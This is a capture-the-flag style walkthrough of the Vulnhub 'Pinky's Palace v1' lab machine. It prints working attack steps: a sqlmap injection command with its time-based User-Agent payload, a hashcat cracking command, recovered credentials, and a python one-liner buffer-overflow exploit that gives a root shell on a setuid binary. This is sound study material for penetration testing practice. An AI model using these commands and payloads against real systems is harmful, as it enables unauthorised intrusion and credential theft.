Fork me on GitHub

Pinky's Palace v1 Walkthrough

pinky's palace
WARNING: There will be spoilers to Pinky's Palace v1 VM from Vulnhub. This is your warning! If you wish to penetration test this machine, do not scroll down much further.
General disclaimer: I am by no means an expert penetration tester nor do I have a lot of experience doing penetration testing. This walkthrough is from the perspective of an amateur whom is trying to become better. The goal is for me to eventially take the OCSP. That being said, I had a bit of help from some colleagues from my company getting started but they by no means gave me the answers. I will be posting some of my hardships from a beginner perspective.

 The Pinky's Palace VM download from Vulnhub can be found here: https://www.vulnhub.com/entry/pinkys-palace-v1,225/

The creator of this VM is Pink Panther

Here's the basic description:

A realistic Boot2Root box. Gain access to the system and read the root.txt.

Difficulty to get user: Easy/Intermediate

Only working with VirtualBox

1. Service Enumeration

Starting off with the nmap scan:

Spoiler: Highlight to view

Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-29 05:35 EDT
Nmap scan report for 192.168.1.35
Host is up (0.00027s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE    VERSION
8080/tcp  open  http       nginx 1.10.3
31337/tcp open  http-proxy Squid http proxy 3.5.23
64666/tcp open  ssh        OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
MAC Address: 08:00:27:A3:C5:2A (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.57 seconds

Based on the above scan, we see three services running. One on port 8080 which appears to be an nginx web service, one on port 31337 which appears to be proxy service, and one on 64666 which appears to be the ssh.

Nginx Service:

PORT      STATE SERVICE    VERSION
8080/tcp  open  http       nginx 1.10.3

Open proxy:

PORT      STATE SERVICE    VERSION
31337/tcp open  http-proxy Squid http proxy 3.5.23

SSH:

PORT      STATE SERVICE    VERSION
64666/tcp open  ssh        OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)

Unfortunately, we did not win anything straight out of the gate by trying the Nginx web service. However, at least now we know this nginx web service is restricting all remote accesses to the web site it is serving: 

nginx 403 forbidden

Using the cURL command with the proxy setup on the server, we found something at least:

curl nginx

The -x flag is saying we want to use http://192.168.1.35:31337 as a proxy to itself.

Editing my Firefox connection settings:

firefox settings

Make sure to remove 127.0.0.1 and/or localhost from No Proxy For: otherwise, Firefox will not use the proxy. It will just redirect traffic to your local machine. Now if we enter http://127.0.0.1:8080 into our browser we should see

pinky's palace site

2. Web Enumeration

Busting out a tool called Dirbuster we can scan for various file types and supply it a directory folder list to search through. First I needed to set a proxy:

dirbuster proxy

After setting the proxy, we supply a word list, file extensions to look for, and finally the target:

dirbuster target

In this case our target is the proxy's localhost since we want to search the machine itself.

Here's what it looks like once completed!:

dirbuster finished

And here are the results:

dirbuster results

So we found a directory called littlesecrets-main and 2 PHP web pages underneath that called login.php and logs.php

Checking out logs page didn't provide anything useful as of right now.

The login page code didn't provide anything useful either:

login code

3. Vulnerability Scan

The login page is our attack vector as there is a form input area that we can either brute force or even attempt to sql inject if it connects to a database.

Each failed login attempt gets stored in logs.php based on a few failed login attempts and then checking the page. All it shows is the user/password combo and the user-agent. Using this we can determine it's most likely storing the login attempts in a database.

I try out this new application I learned about that can help with sql based attacks called sqlmap

Using the following command to perform our vulnerability assessment: 

Spoiler: Highlight to view

sqlmap --proxy=http://192.168.1.35:31337 --dbms=mysql --data="user=adm&pass=passw&submit=Login" --url http://127.0.0.1:8080/littlesecrets-main/login.php --level=5 --risk=3 --dump users

After letting sqlmap run for a bit and answering a few interactive inputs, we are left with a databse name, table name, 2 users, and their hashed passwords:

Spoiler: Highlight to view

sqlmap dump

According to the sqlmap scan, this website's user-agent parameter was vulnerable:

Spoiler: Highlight to view

User-Agent parameter 'User-Agent' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 31388 HTTP(s) requests:
---
Parameter: User-Agent (User-Agent)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: sqlmap/1.1.12#stable (http://sqlmap.org)'||(SELECT 'ACBC' FROM DUAL WHERE 7006=7006 AND SLEEP(5))||'

So these hashes look like md5 hashes but just to be sure there is a tool called hash-identifier built into Kali located at /usr/bin/hash-identifier which is in your $path by default. So you can just type hash-identifier. This application will give you an idea of what the hash probably is and what it is most likely not. Taking the hash for user pinky:

Spoiler: Highlight to view
root@kali:~# hash-identifier
   #########################################################################
   #     __  __             __       ______    _____       #
   #    /\ \/\ \           /\ \     /\__  _\  /\  _ `\     #
   #    \ \ \_\ \     __      ____ \ \ \___ \/_/\ \/  \ \ \/\ \    #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.1 #
   #                                 By Zion3R #
   #                            www.Blackploit.com #
   #                               Root@Blackploit.com #
   #########################################################################

   -------------------------------------------------------------------------
 HASH: f543dbfeaf238729831a321c7a68bee4

Possible Hashs:
[+]  MD5
[+]  Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

Least Possible Hashs:
[+]  RAdmin v2.x
[+]  NTLM
[+]  MD4
[+]  MD2
[+]  MD5(HMAC)
[+]  MD4(HMAC)
[+]  MD2(HMAC)
[+]  MD5(HMAC(Wordpress))
[+]  Haval-128
[+]  Haval-128(HMAC)
[+]  RipeMD-128
[+]  RipeMD-128(HMAC)
[+]  SNEFRU-128
[+]  SNEFRU-128(HMAC)
[+]  Tiger-128
[+]  Tiger-128(HMAC)
[+]  md5($pass.$salt)
[+]  md5($salt.$pass)
[+]  md5($salt.$pass.$salt)
[+]  md5($salt.$pass.$username)
[+]  md5($salt.md5($pass))
[+]  md5($salt.md5($pass))
[+]  md5($salt.md5($pass.$salt))
[+]  md5($salt.md5($pass.$salt))
[+]  md5($salt.md5($salt.$pass))
[+]  md5($salt.md5(md5($pass).$salt))
[+]  md5($username.0.$pass)
[+]  md5($username.LF.$pass)
[+]  md5($username.md5($pass).$salt)
[+]  md5(md5($pass))
[+]  md5(md5($pass).$salt)
[+]  md5(md5($pass).md5($salt))
[+]  md5(md5($salt).$pass)
[+]  md5(md5($salt).md5($pass))
[+]  md5(md5($username.$pass).$salt)
[+]  md5(md5(md5($pass)))
[+]  md5(md5(md5(md5($pass))))
[+]  md5(md5(md5(md5(md5($pass)))))
[+]  md5(sha1($pass))
[+]  md5(sha1(md5($pass)))
[+]  md5(sha1(md5(sha1($pass))))
[+]  md5(strtoupper(md5($pass)))

   -------------------------------------------------------------------------

We see that hash-identifier has basically confirmed its a md5 hash as previously stated.

Taking these 2 hashes, we can run them through another tool called hashcat which will utilize your GPU or CPU to try and crack the hash.

Unfortunately, my Kali box is running inside a VM so I ran it through a md5 cracking website. However the hashcat command you'd use is

Spoiler: Highlight to view
hashcat -a 0 -m 0 d60dffed7cc0d87e1f4a11aa06ca73af /usr/share/wordlists/rockyou.txt

The -a 0 is signifying a brute force attack method, and -m 0 is signifying the hash is a md5. The /usr/share/wordlists/rockyou.txt is a wordlist created from a massive gaming database dump.

The result would look like so for the hashcat output (if I could run it): 

Spoiler: Highlight to view

We were unable to find the password for pinky, but we did get the password for pinkymanage:

Spoiler: Highlight to view
3pinkysaf33pinkysaf3

Using the new credentials, I attempted to log into the website via the login page. However, I received an access denied.

Figured why not try the credentials I found with SSH:

ssh connection

3. Privilege Escalation

Now that we have a foothold into the system via SSH and the credentials we obtained from the MySQL database, it's time to escalate to acquire a root shell.

For grins and giggles, I tried to see if pinkymanage has sudo access:

sudo

Bottom line - it doesn't. There was also nothing in pinkymanage's home directory.

I checked the /etc/passwd file to see what other users may be available:

Spoiler: Highlight to view

pinkymanage@pinkys-palace:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
pinky:x:1000:1000:pinky,,,:/home/pinky:/bin/bash
mysql:x:106:111:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
pinkymanage:x:1001:1001:pinkymanage,,,:/home/pinkymanage:/bin/bash

There's that user pinky that we were unable to obtain the password from the mysql database.

I wondered if there were any commands with the setuid bit available that was owned by root and has interactive capabilities. There weren't any with interactive capabilities so that was a dead end.

I browsed to the web directory to see if there was anything in there we might've missed. I ended up finding a directory in the nginx document root of /var/www where we found 2 directories:

pinkymanage@pinkys-palace:/var/www$ l
total 16
drwxr-xr-x  4 root        root        4096 Feb  2 03:47 .
drwxr-xr-x 12 root        root        4096 Jan 28 11:56 ..
drwxr-xr-x  3 root        root        4096 Feb  2 02:24 html
drwx------  3 pinkymanage pinkymanage 4096 Feb  2 03:57 pinkymanage

I decided to try the pinkymanage directory first being we were logged in as that user. However, after checking that directory, there was nothing in the pinkymanage directory of substantial value. 

Checking the html directory and subsequently the littlesecrets-main there was a directory we found called ultrasecretadminf1l35:

Spoiler: Highlight to view

The note.txt file has the following contents:

pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main/ultrasecretadminf1l35$ cat note.txt 
Hmm just in case I get locked out of my server I put this rsa key here.. Nobody will find it heh..

So .ultrasecret file is an ASCII based file which has the RSA key but it was base64 encoded. Using the command cat .ultrasecret | base64 --decode we are able to obtain the RSA key

rsa key

Saving the RSA key into a file called /tmp/id_rsa.

The next step is to see if we can use this key to login as the user pinky:

pinky login

In Pinky's home directory we found a note.txt and a program called adminhelp with the setuid bit for the file owner which is root:

pinky home

The adminhelper file is a  64bit executable based on the output of a file adminhelper command. This appears to be a program we can perform a buffer overflow on.

I tried ./adminhelper AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA and received a segmentation fault so this definitely verifies this application is prone to buffer overflows:

buffer overfloe

However, this did not generate a core dump. To do this, I used the command:

ulimit -c unlimited

This command says we are allowing for a core file of an unlimited size to be dumped into our current working directory where adminhelper resides.

I then created a copy of the adminhelper command and kept it the same length in terms of a file name. I called this adminhelpe2

Calling adminhelpe2 like above:

core dump

Using gdb a debugging tool, we can analyze the core dump. This can provide us with information about the applications registers, functions, and much more. We can even tell GDB to disassemble specific functions.

adminhelper core dump

Using the command info functions we can dump all the functions assosciated with this executable. Since I had a core dump, I saw a lot of functions related to libc, so I skipped to the end and got the following:

info functions output

So we have a few functions that interesting: execve, setid, setuid, and spawn. The first 3 are all actions taken and doesn't really do anything. So let's disassemble this spawn function using disassemble spawn:

disassemble spawn

At spawn +8 (DWORD PTR [rbp-0x4], 0x0) and spawn +15 (DWORD PTR [rbp-0x8], 0x0) we are setting 0 which is root. This is being called at the spawn +27 line and the spawn +37 line above

The +52 spawn line is showing us a return index pointer. What this means if we can get to the spawn function, we will call the execve line which contains /bin/sh essentially.

Now once we disassemble main, we can see it's vulnerable as it's using strcpy 

disassemble main

So using Python I see how many characters is required to cause the overflow and overwrite the instruction pointer so we can point it at the spawn function.

After a bit of tinkering I found out it was about 72 bytes ("A") is where the segmentation fault starts. And then 6 more bytes ("B") after that we overwrite the return pointer:

pinky@pinkys-palace:~$ gdb ./adminhelper
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./adminhelper...(no debugging symbols found)...done.
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB
Starting program: /home/pinky/adminhelper AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB

Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()
(gdb) 

So we tried to execute something a memory address that doesn't exist (0x42) is the hexadecimal value for B. I replace the 6 "B"s with the spawn address:

pinky@pinkys-palace:~$ python -c "print 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd0\x47\x55\x55\x55\x55'" > output
pinky@pinkys-palace:~$ ./adminhelper `cat output`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�GUUUU
# whoami
root
#

When using the spawn address, we need to reverse it. So now we have a root shell!

root shell

After checking out what is in root's home directory, we have found the one and only key:

root key

===========[!!!CONGRATS!!!]===========

[+] You r00ted Pinky's Palace Intermediate!
[+] I hope you enjoyed this box!
[+] Cheers to VulnHub!
[+] Twitter: @Pink_P4nther

Flag: 99975cfc5e2eb4c199d38d4a2b2c03ce